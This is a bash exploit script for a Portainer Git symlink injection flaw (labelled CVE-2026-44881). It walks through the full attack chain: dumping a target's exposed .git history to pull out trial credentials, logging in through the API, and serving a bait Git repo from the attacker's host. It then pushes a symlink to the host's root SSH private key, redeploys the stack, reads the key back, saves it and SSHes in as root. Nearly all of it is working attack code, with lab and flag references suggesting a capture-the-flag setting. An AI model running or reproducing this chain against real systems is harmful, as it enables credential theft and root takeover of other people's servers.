#!/usr/bin/env bash # CVE-2026-44881 — Portainer Git Symlink Injection → Arbitrary Host File Read # # End-to-end exploit: # 1. dump leaked .git from port 80 → recover Portainer trial creds # 2. log in as the trial user # 3. stand up a malicious Git repo on a local port # 4. create a Git-backed Portainer stack (clean YAML, passes validation) # 5. push a commit replacing docker-compose.yml with a symlink to /root/.ssh/id_rsa # 6. trigger the stack git/redeploy endpoint # 7. read /api/stacks//file → the symlink target's content # 8. (optional) SSH in with the leaked key # # Affected: Portainer CE 2.33.0–2.33.7, 2.39.0–2.39.1, 2.40.x (fix: 2.33.8 / 2.39.2 / 2.41.0) # Reference: https://github.com/portainer/portainer/security/advisories/GHSA-rpgq-m5fp-32wr # # Usage: # ./exploit.sh -t [-a ] [-l ] [-p ] # [-g ] [-w ] [--no-ssh] [--no-creds-from-git] # [-u ] [-P ] # # Requires: bash, curl, jq, git, git-daemon, ssh, python3 (only if --no-creds-from-git uses pip-installed git-dumper) # Optional: git-dumper (will fall back to manual dumb-HTTP enumeration if absent) set -euo pipefail # ─── defaults ──────────────────────────────────────────────────────────────── TARGET="" ATTACKER="" LEAK_PATH="/.git" PORTAINER_PORT="9000" GIT_PORT="9418" WORKDIR="" DO_SSH=1 GET_CREDS_FROM_GIT=1 TRIAL_USER="" TRIAL_PASS="" # ─── pretty logging ────────────────────────────────────────────────────────── c_grn=$'\033[32m'; c_red=$'\033[31m'; c_ylw=$'\033[33m'; c_cyn=$'\033[36m'; c_off=$'\033[0m' log() { printf '%s[+]%s %s\n' "$c_grn" "$c_off" "$*"; } warn() { printf '%s[!]%s %s\n' "$c_ylw" "$c_off" "$*" >&2; } die() { printf '%s[-]%s %s\n' "$c_red" "$c_off" "$*" >&2; exit 1; } step() { printf '\n%s=== %s ===%s\n' "$c_cyn" "$*" "$c_off"; } usage() { sed -n '2,20p' "$0" exit 0 } # ─── argparse ──────────────────────────────────────────────────────────────── while [[ $# -gt 0 ]]; do case $1 in -t|--target) TARGET="$2"; shift 2 ;; -a|--attacker) ATTACKER="$2"; shift 2 ;; -l|--leak-path) LEAK_PATH="$2"; shift 2 ;; -p|--portainer-port) PORTAINER_PORT="$2"; shift 2 ;; -g|--git-port) GIT_PORT="$2"; shift 2 ;; -w|--workdir) WORKDIR="$2"; shift 2 ;; --no-ssh) DO_SSH=0; shift ;; --no-creds-from-git) GET_CREDS_FROM_GIT=0; shift ;; -u|--user) TRIAL_USER="$2"; shift 2 ;; -P|--pass) TRIAL_PASS="$2"; shift 2 ;; -h|--help) usage ;; *) die "unknown flag: $1" ;; esac done [[ -n "$TARGET" ]] || die "target IP required (-t)" [[ -n "$WORKDIR" ]] || WORKDIR="$(mktemp -d -t cve44881-XXXXXX)" # Auto-detect attacker IP if not given (pick the first non-loopback IPv4) if [[ -z "$ATTACKER" ]]; then ATTACKER=$(ip -4 addr show 2>/dev/null | grep -oP '(?<=inet )\d+\.\d+\.\d+\.\d+' | grep -v '^127\.' | head -1) [[ -n "$ATTACKER" ]] || die "could not auto-detect attacker IP; pass -a " fi # Sanity check dependencies for bin in curl jq git ssh; do command -v "$bin" >/dev/null || die "missing dependency: $bin" done if ! command -v git-daemon >/dev/null && ! git daemon --help >/dev/null 2>&1; then warn "git daemon not detected — try: sudo apt install git-daemon-run" fi log "Target : http://${TARGET}:${PORTAINER_PORT}" log "Attacker IP : ${ATTACKER}" log "Workdir : ${WORKDIR}" # ─── stage 1: recover credentials from leaked .git ─────────────────────────── if [[ $GET_CREDS_FROM_GIT -eq 1 ]]; then step "Stage 1 — dump leaked ${LEAK_PATH} and recover creds" GITDUMP_DIR="${WORKDIR}/leaked" rm -rf "$GITDUMP_DIR" if command -v git-dumper >/dev/null; then log "git-dumper found, running it..." git-dumper "http://${TARGET}${LEAK_PATH}/" "$GITDUMP_DIR" 2>&1 | tail -3 else log "git-dumper not found; manual dumb-HTTP enumeration..." mkdir -p "$GITDUMP_DIR/.git" # Fetch the canonical files git needs to be a valid working dir for f in HEAD config description \ info/refs info/exclude \ logs/HEAD \ refs/heads/master refs/heads/main \ objects/info/packs \ packed-refs; do mkdir -p "$GITDUMP_DIR/.git/$(dirname "$f")" curl -fsS -o "$GITDUMP_DIR/.git/$f" "http://${TARGET}${LEAK_PATH}/$f" 2>/dev/null || true done # Discover the head commit + walk back through parents to fetch loose objects. # This is a minimal git-dumper — handles the common loose-object case our lab uses. fetch_object() { local sha="$1" prefix="${1:0:2}" rest="${1:2}" local out="$GITDUMP_DIR/.git/objects/$prefix/$rest" [[ -f "$out" ]] && return 0 mkdir -p "$(dirname "$out")" curl -fsS -o "$out" "http://${TARGET}${LEAK_PATH}/objects/$prefix/$rest" 2>/dev/null || rm -f "$out" [[ -f "$out" ]] } cd "$GITDUMP_DIR" head_ref=$(cat .git/HEAD | sed -n 's|^ref: ||p') head_sha="" [[ -f ".git/$head_ref" ]] && head_sha=$(cat ".git/$head_ref" | tr -d '\n\r ') [[ -z "$head_sha" && -f ".git/packed-refs" ]] && \ head_sha=$(awk -v r="$head_ref" '$2==r{print $1}' .git/packed-refs) if [[ -z "$head_sha" ]]; then warn "could not resolve HEAD ref — install git-dumper for robust dumping" cd - >/dev/null else # Walk objects: BFS from HEAD commit → tree → parents recursively queue=("$head_sha") seen="" while [[ ${#queue[@]} -gt 0 ]]; do sha="${queue[0]}"; queue=("${queue[@]:1}") [[ ",$seen," == *",$sha,"* ]] && continue seen="$seen,$sha" fetch_object "$sha" || continue # Try to parse it type=$(git -C "$GITDUMP_DIR" cat-file -t "$sha" 2>/dev/null || true) case "$type" in commit) for child in $(git -C "$GITDUMP_DIR" cat-file -p "$sha" 2>/dev/null \ | awk '/^tree /{print $2} /^parent /{print $2}'); do queue+=("$child") done ;; tree) for child in $(git -C "$GITDUMP_DIR" ls-tree -r "$sha" 2>/dev/null \ | awk '{print $3}'); do queue+=("$child") done ;; esac done cd - >/dev/null fi fi # Validate the dump if ! git -C "$GITDUMP_DIR" log --oneline >/dev/null 2>&1; then die "git dump incomplete; install git-dumper (pipx install git-dumper) and retry" fi log "git history:" git -C "$GITDUMP_DIR" log --oneline | sed 's/^/ /' # Pluck creds out of any onboarding.env in history (current or removed) env_blob=$(git -C "$GITDUMP_DIR" log --all -p -- onboarding.env 2>/dev/null \ | grep -E '^\+(PORTAINER|TRIAL|USER|PASS|.*USER=|.*PASS=)' || true) TRIAL_USER=$(printf '%s\n' "$env_blob" | grep -oE 'TRIAL_USER=.*' | head -1 | cut -d'=' -f2- | tr -d '\r') TRIAL_PASS=$(printf '%s\n' "$env_blob" | grep -oE 'TRIAL_PASS=.*' | head -1 | cut -d'=' -f2- | tr -d '\r') [[ -n "$TRIAL_USER" && -n "$TRIAL_PASS" ]] || die "could not extract creds from .git history" log "Recovered creds: ${TRIAL_USER} / ${TRIAL_PASS}" fi [[ -n "$TRIAL_USER" && -n "$TRIAL_PASS" ]] || die "no credentials available — pass -u/-P or enable --no-creds-from-git=0" # ─── stage 2: Portainer auth ───────────────────────────────────────────────── step "Stage 2 — Portainer auth" JWT=$(curl -s -X POST "http://${TARGET}:${PORTAINER_PORT}/api/auth" \ -H 'Content-Type: application/json' \ -d "{\"Username\":\"${TRIAL_USER}\",\"Password\":\"${TRIAL_PASS}\"}" | jq -r .jwt) [[ -n "$JWT" && "$JWT" != "null" ]] || die "login failed for ${TRIAL_USER}" log "JWT: ${JWT:0:32}..." ENDPOINT_ID=$(curl -s -H "Authorization: Bearer $JWT" \ "http://${TARGET}:${PORTAINER_PORT}/api/endpoints" | jq -r '.[0].Id // empty') [[ -n "$ENDPOINT_ID" ]] || die "no Docker endpoint visible to ${TRIAL_USER}" log "Endpoint ID: ${ENDPOINT_ID}" # ─── stage 3: stand up the bait git repo ───────────────────────────────────── step "Stage 3 — host the bait Git repo on git://${ATTACKER}:${GIT_PORT}/repo.git" REPO_BASE="${WORKDIR}/git" rm -rf "$REPO_BASE" mkdir -p "$REPO_BASE" cd "$REPO_BASE" git init -q --bare repo.git git clone -q repo.git work cd work cat > docker-compose.yml <<'YAML' services: hi: image: hello-world YAML git add docker-compose.yml git -c user.email=e@e -c user.name=e commit -q -m clean git push -q origin master cd "$REPO_BASE" # Kill any previous git daemon on this port we may have left running pkill -f "git-daemon.*--port=${GIT_PORT}" 2>/dev/null || true git daemon --base-path="$REPO_BASE" --export-all --reuseaddr --port="${GIT_PORT}" \ --listen=0.0.0.0 --detach 2>/dev/null & DAEMON_PID=$! sleep 1 log "git daemon up (pid ${DAEMON_PID})" # ─── stage 4: create stack with clean YAML (validation passes) ─────────────── step "Stage 4 — create the Git-backed stack (clean YAML)" STACK_NAME="leak-$RANDOM" curl -s -X POST "http://${TARGET}:${PORTAINER_PORT}/api/stacks/create/standalone/repository?endpointId=${ENDPOINT_ID}" \ -H "Authorization: Bearer $JWT" -H 'Content-Type: application/json' \ -d "{\"Name\":\"${STACK_NAME}\",\"RepositoryURL\":\"git://${ATTACKER}:${GIT_PORT}/repo.git\",\"RepositoryReferenceName\":\"refs/heads/master\",\"ComposeFile\":\"docker-compose.yml\",\"RepositoryAuthentication\":false}" \ >/dev/null SID=$(curl -s -H "Authorization: Bearer $JWT" "http://${TARGET}:${PORTAINER_PORT}/api/stacks" \ | jq -r ".[] | select(.Name==\"${STACK_NAME}\") | .Id") [[ -n "$SID" ]] || die "stack creation failed (could not find ${STACK_NAME} in list)" log "Stack ID: ${SID}" # ─── stage 5: replace docker-compose.yml with symlink, push, redeploy ──────── step "Stage 5 — push symlink commit + trigger redeploy (validation will fail, on disk is overwritten)" cd "$REPO_BASE/work" rm -f docker-compose.yml ln -s ../../../mnt/host/root/.ssh/id_rsa docker-compose.yml git add -A git -c user.email=e@e -c user.name=e commit -q -m evil git push -q origin master redeploy_resp=$(curl -s -X PUT "http://${TARGET}:${PORTAINER_PORT}/api/stacks/${SID}/git/redeploy?endpointId=${ENDPOINT_ID}" \ -H "Authorization: Bearer $JWT" -H 'Content-Type: application/json' \ -d '{"env":[],"prune":false,"pullImage":false}') log "redeploy response: ${redeploy_resp}" # ─── stage 6: leak the file ────────────────────────────────────────────────── step "Stage 6 — GET /api/stacks/${SID}/file" KEY_OUT="${WORKDIR}/stolen_id_rsa" curl -s -H "Authorization: Bearer $JWT" \ "http://${TARGET}:${PORTAINER_PORT}/api/stacks/${SID}/file" \ | jq -r .StackFileContent > "$KEY_OUT" chmod 600 "$KEY_OUT" if ! grep -q 'PRIVATE KEY' "$KEY_OUT"; then warn "leak output doesn't look like an SSH key — dumping first 5 lines:" head -5 "$KEY_OUT" >&2 die "leak failed" fi log "leaked private key saved to ${KEY_OUT}" head -1 "$KEY_OUT" echo "..." tail -1 "$KEY_OUT" # ─── stage 7: SSH in (optional) ────────────────────────────────────────────── if [[ $DO_SSH -eq 1 ]]; then step "Stage 7 — SSH in as root with leaked key" ssh -i "$KEY_OUT" -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null \ -o LogLevel=ERROR root@"${TARGET}" \ 'echo "=== id ==="; id; echo "=== hostname ==="; hostname; echo "=== flag ==="; cat /root/proof.txt 2>/dev/null || echo "(no /root/proof.txt)"' \ || warn "ssh failed (lab may require non-default port or different user)" fi step "Done — exploit complete" log "private key: ${KEY_OUT}" log "interactive: ssh -i ${KEY_OUT} -o StrictHostKeyChecking=no root@${TARGET}" log "cleanup: kill ${DAEMON_PID}; rm -rf ${WORKDIR}"